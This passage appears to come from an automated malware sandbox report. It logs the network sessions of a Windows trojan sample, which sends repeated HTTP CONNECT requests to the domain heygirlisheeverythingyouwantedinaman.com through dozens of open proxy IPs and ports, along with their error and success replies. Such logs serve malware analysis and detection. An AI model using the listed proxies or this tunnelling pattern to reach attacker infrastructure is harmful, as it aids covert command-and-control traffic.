Feb 23, 2024 14:28:22.834938049 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.8	50139	176.98.81.85	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.747988939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.8	50044	123.30.154.171	7777	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.760394096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.153949976 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.8	50291	202.159.19.213	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.778749943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.8	50294	202.159.19.213	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.780725002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.8	50232	193.239.58.92	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.787705898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.8	50305	49.51.93.222	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.789096117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.8	50306	49.51.93.222	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.790143967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.8	50307	49.51.93.222	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.791709900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.8	50175	190.103.177.131	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.791915894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.151282072 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:29 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.8	50309	49.51.93.222	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.793652058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.8	50073	36.95.102.111	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.810776949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.186983109 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.8	50260	107.181.161.81	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.839606047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.8	50219	20.219.177.73	3129	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.854573965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.145088911 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.8	50145	92.246.139.106	33328	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.858776093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.538466930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.8	50173	103.118.46.176	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.888070107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.229726076 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.8	50206	139.129.162.65	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.895117044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.8	50203	219.243.212.118	8443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.921101093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.273170948 CET	22	IN	HTTP/1.1 502 ERROR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.8	50269	167.99.39.82	46523	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.923155069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.397854090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.929147005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.991691113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.179589033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382806063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.695039988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.8	50052	36.67.27.189	49524	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.935504913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.8	50359	104.21.6.88	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.936068058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.024561882 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.8	50361	104.17.166.210	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.937589884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.026401997 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.8	49711	72.210.208.101	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.947290897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.8	50384	104.20.233.70	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.950316906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.037240028 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.8	50275	41.111.243.18	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.951302052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.144747972 CET	520	IN	HTTP/1.1 502 Proxy Error Date: Fri, 23 Feb 2024 13:27:45 GMT Server: Apache Content-Length: 373 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 32 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 72 65 63 65 69 76 65 64 20 61 6e 20 69 6e 76 61 6c 69 64 0d 0a 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 61 6e 20 75 70 73 74 72 65 61 6d 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0d 0a 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 44 4e 53 20 6c 6f 6f 6b 75 70 20 66 61 69 6c 75 72 65 20 66 6f 72 3a 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Proxy Error</title></head><body><h1>Proxy Error</h1><p>The proxy server received an invalidresponse from an upstream server.<br />The proxy server could not handle the request<p>Reason: <strong>DNS lookup failure for: heygirlisheeverythingyouwantedinaman.com</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.8	50385	185.162.229.215	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.951303959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.038573027 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.8	50391	45.12.31.140	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.954919100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.043195009 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.8	50403	31.43.179.214	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.964445114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.052292109 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.8	50423	104.20.75.132	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.976557970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.063607931 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.8	50322	194.34.232.107	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
